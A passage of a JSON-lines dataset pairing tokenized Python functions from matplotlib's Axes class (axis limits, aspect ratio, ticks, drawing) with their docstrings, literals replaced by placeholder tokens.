yr<EOL>Ysize = data_ratio * xsize<EOL>Xsize = ysize / data_ratio<EOL>Xmarg = Xsize - xr<EOL>Ymarg = Ysize - yr<EOL>xm = <NUM_LIT:0>  <EOL>ym = <NUM_LIT:0><EOL>changex = (self in self._shared_y_axes<EOL>and self not in self._shared_x_axes)<EOL>changey = (self in self._shared_x_axes<EOL>and self not in self._shared_y_axes)<EOL>if changex and changey:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if changex:<EOL><INDENT>adjust_y = False<EOL><DEDENT>else:<EOL><INDENT>if xmarg > xm and ymarg > ym:<EOL><INDENT>adjy = ((Ymarg > <NUM_LIT:0> and y_expander < <NUM_LIT:0>)<EOL>or (Xmarg < <NUM_LIT:0> and y_expander > <NUM_LIT:0>))<EOL><DEDENT>else:<EOL><INDENT>adjy = y_expander > <NUM_LIT:0><EOL><DEDENT>adjust_y = changey or adjy  <EOL><DEDENT>if adjust_y:<EOL><INDENT>yc = <NUM_LIT:0.5>*(ymin+ymax)<EOL>y0 = yc - Ysize/<NUM_LIT><EOL>y1 = yc + Ysize/<NUM_LIT><EOL>self.set_ybound((y0, y1))<EOL><DEDENT>else:<EOL><INDENT>xc = <NUM_LIT:0.5>*(xmin+xmax)<EOL>x0 = xc - Xsize/<NUM_LIT><EOL>x1 = xc + Xsize/<NUM_LIT><EOL>self.set_xbound((x0, x1))<EOL><DEDENT>", "docstring": "Use :meth:`_aspect` and :meth:`_adjustable` to modify the\naxes box or the view limits.", "id": "f17238:c1:m30"}
{"signature": "def axis(self, *v, **kwargs):", "body": "if len(v)==<NUM_LIT:1> and is_string_like(v[<NUM_LIT:0>]):<EOL><INDENT>s = v[<NUM_LIT:0>].lower()<EOL>if s=='<STR_LIT>': self.set_axis_on()<EOL>elif s=='<STR_LIT>': self.set_axis_off()<EOL>elif s in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:image>'):<EOL><INDENT>self.set_autoscale_on(True)<EOL>self.set_aspect('<STR_LIT>')<EOL>self.autoscale_view()<EOL>if s=='<STR_LIT>':<EOL><INDENT>self.set_aspect('<STR_LIT>', adjustable='<STR_LIT>')<EOL><DEDENT>elif s == '<STR_LIT>':<EOL><INDENT>self.set_aspect('<STR_LIT>', adjustable='<STR_LIT>', anchor='<STR_LIT:C>')<EOL>self.set_autoscale_on(False) <EOL><DEDENT>elif s=='<STR_LIT>':<EOL><INDENT>self.autoscale_view(tight=True)<EOL>self.set_autoscale_on(False)<EOL><DEDENT>elif s == '<STR_LIT:image>':<EOL><INDENT>self.autoscale_view(tight=True)<EOL>self.set_autoscale_on(False)<EOL>self.set_aspect('<STR_LIT>', adjustable='<STR_LIT>', anchor='<STR_LIT:C>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % s)<EOL><DEDENT>xmin, xmax = self.get_xlim()<EOL>ymin, ymax = self.get_ylim()<EOL>return xmin, xmax, ymin, ymax<EOL><DEDENT>try: v[<NUM_LIT:0>]<EOL>except IndexError:<EOL><INDENT>emit = kwargs.get('<STR_LIT>', True)<EOL>xmin = kwargs.get('<STR_LIT>', None)<EOL>xmax = kwargs.get('<STR_LIT>', None)<EOL>xmin, xmax = self.set_xlim(xmin, xmax, emit)<EOL>ymin = kwargs.get('<STR_LIT>', None)<EOL>ymax = kwargs.get('<STR_LIT>', None)<EOL>ymin, ymax = self.set_ylim(ymin, ymax, emit)<EOL>return xmin, xmax, ymin, ymax<EOL><DEDENT>v = v[<NUM_LIT:0>]<EOL>if len(v) != <NUM_LIT:4>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.set_xlim([v[<NUM_LIT:0>], v[<NUM_LIT:1>]])<EOL>self.set_ylim([v[<NUM_LIT:2>], v[<NUM_LIT:3>]])<EOL>return v<EOL>", "docstring": "Convenience method for manipulating the x and y view limits\nand the aspect ratio of the plot.\n\n*kwargs* are passed on to :meth:`set_xlim` and\n:meth:`set_ylim`", "id": "f17238:c1:m31"}
{"signature": "def get_child_artists(self):", "body": "raise DeprecationWarning('<STR_LIT>')<EOL>", "docstring": "Return a list of artists the axes contains.\n\n.. deprecated:: 0.98", "id": "f17238:c1:m32"}
{"signature": "def get_frame(self):", "body": "warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>return self.patch<EOL>", "docstring": "Return the axes Rectangle frame", "id": "f17238:c1:m33"}
{"signature": "def get_legend(self):", "body": "return self.legend_<EOL>", "docstring": "Return the legend.Legend instance, or None if no legend is defined", "id": "f17238:c1:m34"}
{"signature": "def get_images(self):", "body": "return cbook.silent_list('<STR_LIT>', self.images)<EOL>", "docstring": "return a list of Axes images contained by the Axes", "id": "f17238:c1:m35"}
{"signature": "def get_lines(self):", "body": "return cbook.silent_list('<STR_LIT>', self.lines)<EOL>", "docstring": "Return a list of lines contained by the Axes", "id": "f17238:c1:m36"}
{"signature": "def get_xaxis(self):", "body": "return self.xaxis<EOL>", "docstring": "Return the XAxis instance", "id": "f17238:c1:m37"}
{"signature": "def get_xgridlines(self):", "body": "return cbook.silent_list('<STR_LIT>', self.xaxis.get_gridlines())<EOL>", "docstring": "Get the x grid lines as a list of Line2D instances", "id": "f17238:c1:m38"}
{"signature": "def get_xticklines(self):", "body": "return cbook.silent_list('<STR_LIT>', self.xaxis.get_ticklines())<EOL>", "docstring": "Get the xtick lines as a list of Line2D instances", "id": "f17238:c1:m39"}
{"signature": "def get_yaxis(self):", "body": "return self.yaxis<EOL>", "docstring": "Return the YAxis instance", "id": "f17238:c1:m40"}
{"signature": "def get_ygridlines(self):", "body": "return cbook.silent_list('<STR_LIT>', self.yaxis.get_gridlines())<EOL>", "docstring": "Get the y grid lines as a list of Line2D instances", "id": "f17238:c1:m41"}
{"signature": "def get_yticklines(self):", "body": "return cbook.silent_list('<STR_LIT>', self.yaxis.get_ticklines())<EOL>", "docstring": "Get the ytick lines as a list of Line2D instances", "id": "f17238:c1:m42"}
{"signature": "def has_data(self):", "body": "return (<EOL>len(self.collections) +<EOL>len(self.images) +<EOL>len(self.lines) +<EOL>len(self.patches))><NUM_LIT:0><EOL>", "docstring": "Return *True* if any artists have been added to axes.\n\n        This should not be used to determine whether the *dataLim*\n        need to be updated, and may not actually be useful for\n        anything.", "id": "f17238:c1:m43"}
{"signature": "def add_artist(self, a):", "body": "a.set_axes(self)<EOL>self.artists.append(a)<EOL>self._set_artist_props(a)<EOL>a.set_clip_path(self.patch)<EOL>a._remove_method = lambda h: self.artists.remove(h)<EOL>", "docstring": "Add any :class:`~matplotlib.artist.Artist` to the axes", "id": "f17238:c1:m44"}
{"signature": "def add_collection(self, collection, autolim=True):", "body": "label = collection.get_label()<EOL>if not label:<EOL><INDENT>collection.set_label('<STR_LIT>'%len(self.collections))<EOL><DEDENT>self.collections.append(collection)<EOL>self._set_artist_props(collection)<EOL>collection.set_clip_path(self.patch)<EOL>if autolim:<EOL><INDENT>if collection._paths and len(collection._paths):<EOL><INDENT>self.update_datalim(collection.get_datalim(self.transData))<EOL><DEDENT><DEDENT>collection._remove_method = lambda h: self.collections.remove(h)<EOL>", "docstring": "add a :class:`~matplotlib.collections.Collection` instance\nto the axes", "id": "f17238:c1:m45"}
{"signature": "def add_line(self, line):", "body": "self._set_artist_props(line)<EOL>line.set_clip_path(self.patch)<EOL>self._update_line_limits(line)<EOL>if not line.get_label():<EOL><INDENT>line.set_label('<STR_LIT>'%len(self.lines))<EOL><DEDENT>self.lines.append(line)<EOL>line._remove_method = lambda h: self.lines.remove(h)<EOL>", "docstring": "Add a :class:`~matplotlib.lines.Line2D` to the list of plot\nlines", "id": "f17238:c1:m46"}
{"signature": "def add_patch(self, p):", "body": "self._set_artist_props(p)<EOL>p.set_clip_path(self.patch)<EOL>self._update_patch_limits(p)<EOL>self.patches.append(p)<EOL>p._remove_method = lambda h: self.patches.remove(h)<EOL>", "docstring": "Add a :class:`~matplotlib.patches.Patch` *p* to the list of\naxes patches; the clipbox will be set to the Axes clipping\nbox.  If the transform is not set, it will be set to\n:attr:`transData`.", "id": "f17238:c1:m48"}
{"signature": "def _update_patch_limits(self, patch):", "body": "<EOL>if (isinstance(patch, mpatches.Rectangle) and<EOL>(patch.get_width()==<NUM_LIT:0> or patch.get_height()==<NUM_LIT:0>)):<EOL><INDENT>return<EOL><DEDENT>vertices = patch.get_path().vertices<EOL>if vertices.size > <NUM_LIT:0>:<EOL><INDENT>xys = patch.get_patch_transform().transform(vertices)<EOL>if patch.get_data_transform() != self.transData:<EOL><INDENT>transform = (patch.get_data_transform() +<EOL>self.transData.inverted())<EOL>xys = transform.transform(xys)<EOL><DEDENT>self.update_datalim(xys, updatex=patch.x_isdata,<EOL>updatey=patch.y_isdata)<EOL><DEDENT>", "docstring": "update the data limits for patch *p*", "id": "f17238:c1:m49"}
{"signature": "def add_table(self, tab):", "body": "self._set_artist_props(tab)<EOL>self.tables.append(tab)<EOL>tab.set_clip_path(self.patch)<EOL>tab._remove_method = lambda h: self.tables.remove(h)<EOL>", "docstring": "Add a :class:`~matplotlib.tables.Table` instance to the\nlist of axes tables", "id": "f17238:c1:m50"}
{"signature": "def relim(self):", "body": "<EOL>self.dataLim.ignore(True)<EOL>self.ignore_existing_data_limits = True<EOL>for line in self.lines:<EOL><INDENT>self._update_line_limits(line)<EOL><DEDENT>for p in self.patches:<EOL><INDENT>self._update_patch_limits(p)<EOL><DEDENT>", "docstring": "recompute the data limits based on current artists", "id": "f17238:c1:m51"}
{"signature": "def update_datalim(self, xys, updatex=True, updatey=True):", "body": "<EOL>if iterable(xys) and not len(xys): return<EOL>if not ma.isMaskedArray(xys):<EOL><INDENT>xys = np.asarray(xys)<EOL><DEDENT>self.dataLim.update_from_data_xy(xys, self.ignore_existing_data_limits,<EOL>updatex=updatex, updatey=updatey)<EOL>self.ignore_existing_data_limits = False<EOL>", "docstring": "Update the data lim bbox with seq of xy tups or equiv. 2-D array", "id": "f17238:c1:m52"}
{"signature": "def update_datalim_numerix(self, x, y):", "body": "<EOL>if iterable(x) and not len(x): return<EOL>self.dataLim.update_from_data(x, y, self.ignore_existing_data_limits)<EOL>self.ignore_existing_data_limits = False<EOL>", "docstring": "Update the data lim bbox with seq of xy tups", "id": "f17238:c1:m53"}
{"signature": "def update_datalim_bounds(self, bounds):", "body": "self.dataLim.set(mtransforms.Bbox.union([self.dataLim, bounds]))<EOL>", "docstring": "Update the datalim to include the given\n:class:`~matplotlib.transforms.Bbox` *bounds*", "id": "f17238:c1:m54"}
{"signature": "def _process_unit_info(self, xdata=None, ydata=None, kwargs=None):", "body": "if self.xaxis is None or self.yaxis is None: return<EOL>if xdata is not None:<EOL><INDENT>if not self.xaxis.have_units():<EOL><INDENT>self.xaxis.update_units(xdata)<EOL><DEDENT><DEDENT>if ydata is not None:<EOL><INDENT>if not self.yaxis.have_units():<EOL><INDENT>self.yaxis.update_units(ydata)<EOL><DEDENT><DEDENT>if kwargs is not None:<EOL><INDENT>xunits = kwargs.pop( '<STR_LIT>', self.xaxis.units)<EOL>if xunits!=self.xaxis.units:<EOL><INDENT>self.xaxis.set_units(xunits)<EOL>if xdata is not None:<EOL><INDENT>self.xaxis.update_units(xdata)<EOL><DEDENT><DEDENT>yunits = kwargs.pop('<STR_LIT>', self.yaxis.units)<EOL>if yunits!=self.yaxis.units:<EOL><INDENT>self.yaxis.set_units(yunits)<EOL>if ydata is not None:<EOL><INDENT>self.yaxis.update_units(ydata)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "look for unit *kwargs* and update the axis instances as necessary", "id": "f17238:c1:m55"}
{"signature": "def in_axes(self, mouseevent):", "body": "return self.patch.contains(mouseevent)[<NUM_LIT:0>]<EOL>", "docstring": "return *True* if the given *mouseevent* (in display coords)\nis in the Axes", "id": "f17238:c1:m56"}
{"signature": "def get_autoscale_on(self):", "body": "return self._autoscaleon<EOL>", "docstring": "Get whether autoscaling is applied on plot commands", "id": "f17238:c1:m57"}
{"signature": "def set_autoscale_on(self, b):", "body": "self._autoscaleon = b<EOL>", "docstring": "Set whether autoscaling is applied on plot commands\n\naccepts: [ *True* | *False* ]", "id": "f17238:c1:m58"}
{"signature": "def autoscale_view(self, tight=False, scalex=True, scaley=True):", "body": "<EOL>if not self._autoscaleon: return<EOL>if scalex:<EOL><INDENT>xshared = self._shared_x_axes.get_siblings(self)<EOL>dl = [ax.dataLim for ax in xshared]<EOL>bb = mtransforms.BboxBase.union(dl)<EOL>x0, x1 = bb.intervalx<EOL><DEDENT>if scaley:<EOL><INDENT>yshared = self._shared_y_axes.get_siblings(self)<EOL>dl = [ax.dataLim for ax in yshared]<EOL>bb = mtransforms.BboxBase.union(dl)<EOL>y0, y1 = bb.intervaly<EOL><DEDENT>if (tight or (len(self.images)><NUM_LIT:0> and<EOL>len(self.lines)==<NUM_LIT:0> and<EOL>len(self.patches)==<NUM_LIT:0>)):<EOL><INDENT>if scalex:<EOL><INDENT>self.set_xbound(x0, x1)<EOL><DEDENT>if scaley:<EOL><INDENT>self.set_ybound(y0, y1)<EOL><DEDENT>return<EOL><DEDENT>if scalex:<EOL><INDENT>XL = self.xaxis.get_major_locator().view_limits(x0, x1)<EOL>self.set_xbound(XL)<EOL><DEDENT>if scaley:<EOL><INDENT>YL = self.yaxis.get_major_locator().view_limits(y0, y1)<EOL>self.set_ybound(YL)<EOL><DEDENT>", "docstring": "autoscale the view limits using the data limits. You can\nselectively autoscale only a single axis, eg, the xaxis by\nsetting *scaley* to *False*.  The autoscaling preserves any\naxis direction reversal that has already been done.", "id": "f17238:c1:m59"}
{"signature": "def draw(self, renderer=None, inframe=False):", "body": "if renderer is None:<EOL><INDENT>renderer = self._cachedRenderer<EOL><DEDENT>if renderer is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if not self.get_visible(): return<EOL>renderer.open_group('<STR_LIT>')<EOL>self.apply_aspect()<EOL>if self.axison and self._frameon:<EOL><INDENT>self.patch.draw(renderer)<EOL><DEDENT>artists = []<EOL>if len(self.images)<=<NUM_LIT:1> or renderer.option_image_nocomposite():<EOL><INDENT>for im in self.images:<EOL><INDENT>im.draw(renderer)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mag = renderer.get_image_magnification()<EOL>ims = [(im.make_image(mag),<NUM_LIT:0>,<NUM_LIT:0>)<EOL>for im in self.images if im.get_visible()]<EOL>l, b, r, t = self.bbox.extents<EOL>width = mag*((round(r) + <NUM_LIT:0.5>) - (round(l) - <NUM_LIT:0.5>))<EOL>height = mag*((round(t) + <NUM_LIT:0.5>) - (round(b) - <NUM_LIT:0.5>))<EOL>im = mimage.from_images(height,<EOL>width,<EOL>ims)<EOL>im.is_grayscale = False<EOL>l, b, w, h = self.bbox.bounds<EOL>renderer.draw_image(<EOL>round(l), round(b), im, self.bbox,<EOL>self.patch.get_path(),<EOL>self.patch.get_transform())<EOL><DEDENT>artists.extend(self.collections)<EOL>artists.extend(self.patches)<EOL>artists.extend(self.lines)<EOL>artists.extend(self.texts)<EOL>artists.extend(self.artists)<EOL>if self.axison and not inframe:<EOL><INDENT>if self._axisbelow:<EOL><INDENT>self.xaxis.set_zorder(<NUM_LIT:0.5>)<EOL>self.yaxis.set_zorder(<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>self.xaxis.set_zorder(<NUM_LIT>)<EOL>self.yaxis.set_zorder(<NUM_LIT>)<EOL><DEDENT>artists.extend([self.xaxis, self.yaxis])<EOL><DEDENT>if not inframe: artists.append(self.title)<EOL>artists.extend(self.tables)<EOL>if self.legend_ is not None:<EOL><INDENT>artists.append(self.legend_)<EOL><DEDENT>if self.axison and self._frameon:<EOL><INDENT>artists.append(self.frame)<EOL><DEDENT>dsu = [ (a.zorder, i, a) for i, a in enumerate(artists)<EOL>if not a.get_animated() ]<EOL>dsu.sort()<EOL>for zorder, i, a in dsu:<EOL><INDENT>a.draw(renderer)<EOL><DEDENT>renderer.close_group('<STR_LIT>')<EOL>self._cachedRenderer = renderer<EOL>", "docstring": "Draw everything (plot lines, axes, labels)", "id": "f17238:c1:m60"}
{"signature": "def draw_artist(self, a):", "body": "assert self._cachedRenderer is not None<EOL>a.draw(self._cachedRenderer)<EOL>", "docstring": "This method can only be used after an initial draw which\ncaches the renderer.  It is used to efficiently update Axes\ndata (axis ticks, labels, etc are not updated)", "id": "f17238:c1:m61"}
{"signature": "def redraw_in_frame(self):", "body": "assert self._cachedRenderer is not None<EOL>self.draw(self._cachedRenderer, inframe=True)<EOL>", "docstring": "This method can only be used after an initial draw which\ncaches the renderer.  It is used to efficiently update Axes\ndata (axis ticks, labels, etc are not updated)", "id": "f17238:c1:m62"}
{"signature": "def get_frame_on(self):", "body": "return self._frameon<EOL>", "docstring": "Get whether the axes rectangle patch is drawn", "id": "f17238:c1:m65"}
{"signature": "def set_frame_on(self, b):", "body": "self._frameon = b<EOL>", "docstring": "Set whether the axes rectangle patch is drawn\n\nACCEPTS: [ *True* | *False* ]", "id": "f17238:c1:m66"}
{"signature": "def get_axisbelow(self):", "body": "return self._axisbelow<EOL>", "docstring": "Get whether axis below is true or not", "id": "f17238:c1:m67"}
{"signature": "def set_axisbelow(self, b):", "body": "self._axisbelow = b<EOL>", "docstring": "Set whether the axis ticks and gridlines are above or below most artists\n\nACCEPTS: [ *True* | *False* ]", "id": "f17238:c1:m68"}
{"signature": "def grid(self, b=None, **kwargs):", "body": "if len(kwargs): b = True<EOL>self.xaxis.grid(b, **kwargs)<EOL>self.yaxis.grid(b, **kwargs)<EOL>", "docstring": "call signature::\n\n  grid(self, b=None, **kwargs)\n\nSet the axes grids on or off; *b* is a boolean\n\nIf *b* is *None* and ``len(kwargs)==0``, toggle the grid state.  If\n*kwargs* are supplied, it is assumed that you want a grid and *b*\nis thus set to *True*\n\n*kawrgs* are used to set the grid line properties, eg::\n\n  ax.grid(color='r', linestyle='-', linewidth=2)\n\nValid :class:`~matplotlib.lines.Line2D` kwargs are\n\n%(Line2D)s", "id": "f17238:c1:m69"}
{"signature": "def ticklabel_format(self, **kwargs):", "body": "style = kwargs.pop('<STR_LIT>', '<STR_LIT>').lower()<EOL>scilimits = kwargs.pop('<STR_LIT>', None)<EOL>if scilimits is not None:<EOL><INDENT>try:<EOL><INDENT>m, n = scilimits<EOL>m+n+<NUM_LIT:1>  <EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>axis = kwargs.pop('<STR_LIT>', '<STR_LIT>').lower()<EOL>if style[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>sb = True<EOL><DEDENT>elif style in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>sb = False<EOL>if style == '<STR_LIT>':<EOL><INDENT>cb = False<EOL><DEDENT>else:<EOL><INDENT>cb = True<EOL>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif style == '<STR_LIT>':<EOL><INDENT>sb = None<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>if sb is not None:<EOL><INDENT>if axis == '<STR_LIT>' or axis == '<STR_LIT:x>':<EOL><INDENT>self.xaxis.major.formatter.set_scientific(sb)<EOL><DEDENT>if axis == '<STR_LIT>' or axis == '<STR_LIT:y>':<EOL><INDENT>self.yaxis.major.formatter.set_scientific(sb)<EOL><DEDENT><DEDENT>if scilimits is not None:<EOL><INDENT>if axis == '<STR_LIT>' or axis == '<STR_LIT:x>':<EOL><INDENT>self.xaxis.major.formatter.set_powerlimits(scilimits)<EOL><DEDENT>if axis == '<STR_LIT>' or axis == '<STR_LIT:y>':<EOL><INDENT>self.yaxis.major.formatter.set_powerlimits(scilimits)<EOL><DEDENT><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>raise AttributeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Convenience method for manipulating the ScalarFormatter\nused by default for linear axes.\n\nOptional keyword arguments:\n\n  ============   =====================================\n  Keyword        Description\n  ============   =====================================\n  *style*        [ 'sci' (or 'scientific') | 'plain' ]\n                 plain turns off scientific notation\n  *scilimits*    (m, n), pair of integers; if *style*\n                 is 'sci', scientific notation will\n                 be used for numbers outside the range\n                 10`-m`:sup: to 10`n`:sup:.\n                 Use (0,0) to include all numbers.\n  *axis*         [ 'x' | 'y' | 'both' ]\n  ============   =====================================\n\nOnly the major ticks are affected.\nIf the method is called when the\n:class:`~matplotlib.ticker.ScalarFormatter` is not the\n:class:`~matplotlib.ticker.Formatter` being used, an\n:exc:`AttributeError` will be raised.", "id": "f17238:c1:m70"}
{"signature": "def set_axis_off(self):", "body": "self.axison = False<EOL>", "docstring": "turn off the axis", "id": "f17238:c1:m71"}
{"signature": "def set_axis_on(self):", "body": "self.axison = True<EOL>", "docstring": "turn on the axis", "id": "f17238:c1:m72"}
{"signature": "def get_axis_bgcolor(self):", "body": "return self._axisbg<EOL>", "docstring": "Return the axis background color", "id": "f17238:c1:m73"}
{"signature": "def set_axis_bgcolor(self, color):", "body": "self._axisbg = color<EOL>self.patch.set_facecolor(color)<EOL>", "docstring": "set the axes background color\n\nACCEPTS: any matplotlib color - see\n:func:`~matplotlib.pyplot.colors`", "id": "f17238:c1:m74"}
{"signature": "def invert_xaxis(self):", "body": "left, right = self.get_xlim()<EOL>self.set_xlim(right, left)<EOL>", "docstring": "Invert the x-axis.", "id": "f17238:c1:m75"}
{"signature": "def xaxis_inverted(self):", "body": "left, right = self.get_xlim()<EOL>return right < left<EOL>", "docstring": "Returns True if the x-axis is inverted.", "id": "f17238:c1:m76"}
{"signature": "def get_xbound(self):", "body": "left, right = self.get_xlim()<EOL>if left < right:<EOL><INDENT>return left, right<EOL><DEDENT>else:<EOL><INDENT>return right, left<EOL><DEDENT>", "docstring": "Returns the x-axis numerical bounds where::\n\n  lowerBound < upperBound", "id": "f17238:c1:m77"}
{"signature": "def set_xbound(self, lower=None, upper=None):", "body": "if upper is None and iterable(lower):<EOL><INDENT>lower,upper = lower<EOL><DEDENT>old_lower,old_upper = self.get_xbound()<EOL>if lower is None: lower = old_lower<EOL>if upper is None: upper = old_upper<EOL>if self.xaxis_inverted():<EOL><INDENT>if lower < upper:<EOL><INDENT>self.set_xlim(upper, lower)<EOL><DEDENT>else:<EOL><INDENT>self.set_xlim(lower, upper)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if lower < upper:<EOL><INDENT>self.set_xlim(lower, upper)<EOL><DEDENT>else:<EOL><INDENT>self.set_xlim(upper, lower)<EOL><DEDENT><DEDENT>", "docstring": "Set the lower and upper numerical bounds of the x-axis.\nThis method will honor axes inversion regardless of parameter order.", "id": "f17238:c1:m78"}
{"signature": "def get_xlim(self):", "body": "return tuple(self.viewLim.intervalx)<EOL>", "docstring": "Get the x-axis range [*xmin*, *xmax*]", "id": "f17238:c1:m79"}
{"signature": "def set_xlim(self, xmin=None, xmax=None, emit=True, **kwargs):", "body": "if xmax is None and iterable(xmin):<EOL><INDENT>xmin,xmax = xmin<EOL><DEDENT>self._process_unit_info(xdata=(xmin, xmax))<EOL>if xmin is not None:<EOL><INDENT>xmin = self.convert_xunits(xmin)<EOL><DEDENT>if xmax is not None:<EOL><INDENT>xmax = self.convert_xunits(xmax)<EOL><DEDENT>old_xmin,old_xmax = self.get_xlim()<EOL>if xmin is None: xmin = old_xmin<EOL>if xmax is None: xmax = old_xmax<EOL>xmin, xmax = mtransforms.nonsingular(xmin, xmax, increasing=False)<EOL>xmin, xmax = self.xaxis.limit_range_for_scale(xmin, xmax)<EOL>self.viewLim.intervalx = (xmin, xmax)<EOL>if emit:<EOL><INDENT>self.callbacks.process('<STR_LIT>', self)<EOL>for other in self._shared_x_axes.get_siblings(self):<EOL><INDENT>if other is not self:<EOL><INDENT>other.set_xlim(self.viewLim.intervalx, emit=False)<EOL>if (other.figure != self.figure and<EOL>other.figure.canvas is not None):<EOL><INDENT>other.figure.canvas.draw_idle()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return xmin, xmax<EOL>", "docstring": "call signature::\n\n  set_xlim(self, *args, **kwargs)\n\nSet the limits for the xaxis\n\nReturns the current xlimits as a length 2 tuple: [*xmin*, *xmax*]\n\nExamples::\n\n  set_xlim((valmin, valmax))\n  set_xlim(valmin, valmax)\n  set_xlim(xmin=1) # xmax unchanged\n  set_xlim(xmax=1) # xmin unchanged\n\nKeyword arguments:\n\n  *ymin*: scalar\n    the min of the ylim\n  *ymax*: scalar\n    the max of the ylim\n  *emit*: [ True | False ]\n    notify observers of lim change\n\nACCEPTS: len(2) sequence of floats", "id": "f17238:c1:m80"}
{"signature": "def set_xscale(self, value, **kwargs):", "body": "self.xaxis.set_scale(value, **kwargs)<EOL>self.autoscale_view()<EOL>self._update_transScale()<EOL>", "docstring": "call signature::\n\n  set_xscale(value)\n\nSet the scaling of the x-axis: %(scale)s\n\nACCEPTS: [%(scale)s]\n\nDifferent kwargs are accepted, depending on the scale:\n%(scale_docs)s", "id": "f17238:c1:m82"}
{"signature": "def get_xticks(self, minor=False):", "body": "return self.xaxis.get_ticklocs(minor=minor)<EOL>", "docstring": "Return the x ticks as a list of locations", "id": "f17238:c1:m83"}
{"signature": "def set_xticks(self, ticks, minor=False):", "body": "return self.xaxis.set_ticks(ticks, minor=minor)<EOL>", "docstring": "Set the x ticks with list of *ticks*\n\nACCEPTS: sequence of floats", "id": "f17238:c1:m84"}
{"signature": "def get_xmajorticklabels(self):", "body": "return cbook.silent_list('<STR_LIT>',<EOL>self.xaxis.get_majorticklabels())<EOL>", "docstring": "Get the xtick labels as a list of Text instances", "id": "f17238:c1:m85"}
{"signature": "def get_xminorticklabels(self):", "body": "return cbook.silent_list('<STR_LIT>',<EOL>self.xaxis.get_minorticklabels())<EOL>", "docstring": "Get the xtick labels as a list of Text instances", "id": "f17238:c1:m86"}
{"signature": "def get_xticklabels(self, minor=False):", "body": "return cbook.silent_list('<STR_LIT>',<EOL>self.xaxis.get_ticklabels(minor=minor))<EOL>", "docstring": "Get the xtick labels as a list of Text instances", "id": "f17238:c1:m87"}
{"signature": "def set_xticklabels(self, labels, fontdict=None, minor=False, **kwargs):", "body": "return self.xaxis.set_ticklabels(labels, fontdict,<EOL>minor=minor, **kwargs)<EOL>", "docstring": "call signature::\n\n  set_xticklabels(labels, fontdict=None, minor=False, **kwargs)\n\nSet the xtick labels with list of strings *labels*. Return a\nlist of axis text instances.\n\n*kwargs* set the :class:`~matplotlib.text.Text` properties.\nValid properties are\n%(Text)s\n\nACCEPTS: sequence of strings", "id": "f17238:c1:m88"}
{"signature": "def invert_yaxis(self):", "body": "left, right = self.get_ylim()<EOL>self.set_ylim(right, left)<EOL>", "docstring": "Invert the y-axis.", "id": "f17238:c1:m89"}
{"signature": "def yaxis_inverted(self):", "body": "left, right = self.get_ylim()<EOL>return right < left<EOL>", "docstring": "Returns True if the y-axis is inverted.", "id": "f17238:c1:m90"}
{"signature": "def get_ybound(self):", "body": "left, right = self.get_ylim()<EOL>if left < right:<EOL><INDENT>return left, right<EOL><DEDENT>else:<EOL><INDENT>return right, left<EOL><DEDENT>", "docstring": "Return y-axis numerical bounds in the form of lowerBound < upperBound", "id": "f17238:c1:m91"}
{"signature": "def set_ybound(self, lower=None, upper=None):", "body": "if upper is None and iterable(lower):<EOL><INDENT>lower,upper = lower<EOL><DEDENT>old_lower,old_upper = self.get_ybound()<EOL>if lower is None: lower = old_lower<EOL>if upper is None: upper = old_upper<EOL>if self.yaxis_inverted():<EOL><INDENT>if lower < upper:<EOL><INDENT>self.set_ylim(upper, lower)<EOL><DEDENT>else:<EOL><INDENT>self.set_ylim(lower, upper)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if lower < upper:<EOL><INDENT>self.set_ylim(lower, upper)<EOL><DEDENT>else:<EOL><INDENT>self.set_ylim(upper, lower)<EOL><DEDENT><DEDENT>", "docstring": "Set the lower and upper numerical bounds of the y-axis.\n           This method will honor axes inversion regardless of parameter order.", "id": "f17238:c1:m92"}
{"signature": "def get_ylim(self):", "body": "return tuple(self.viewLim.intervaly)<EOL>", "docstring": "Get the y-axis range [*ymin*, *ymax*]", "id": "f17238:c1:m93"}
{"signature": "def set_ylim(self, ymin=None, ymax=None, emit=True, **kwargs):", "body": "if ymax is None and iterable(ymin):<EOL><INDENT>ymin,ymax = ymin<EOL><DEDENT>if ymin is not None:<EOL><INDENT>ymin = self.convert_yunits(ymin)<EOL><DEDENT>if ymax is not None:<EOL><INDENT>ymax = self.convert_yunits(ymax)<EOL><DEDENT>old_ymin,old_ymax = self.get_ylim()<EOL>if ymin is None: ymin = old_ymin<EOL>if ymax is None: ymax = old_ymax<EOL>ymin, ymax = mtransforms.nonsingular(ymin, ymax, increasing=False)<EOL>ymin, ymax = self.yaxis.limit_range_for_scale(ymin, ymax)<EOL>self.viewLim.intervaly = (ymin, ymax)<EOL>if emit:<EOL><INDENT>self.callbacks.process('<STR_LIT>', self)<EOL>for other in self._shared_y_axes.get_siblings(self):<EOL><INDENT>if other is not self:<EOL><INDENT>other.set_ylim(self.viewLim.intervaly, emit=False)<EOL>if (other.figure != self.figure and<EOL>other.figure.canvas is not None):<EOL><INDENT>other.figure.canvas.draw_idle()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return ymin, ymax<EOL>", "docstring": "call signature::\n\n  set_ylim(self, *args, **kwargs):\n\nSet the limits for the yaxis; v = [ymin, ymax]::\n\n  set_ylim((valmin, valmax))\n  set_ylim(valmin, valmax)\n  set_ylim(ymin=1) # ymax unchanged\n  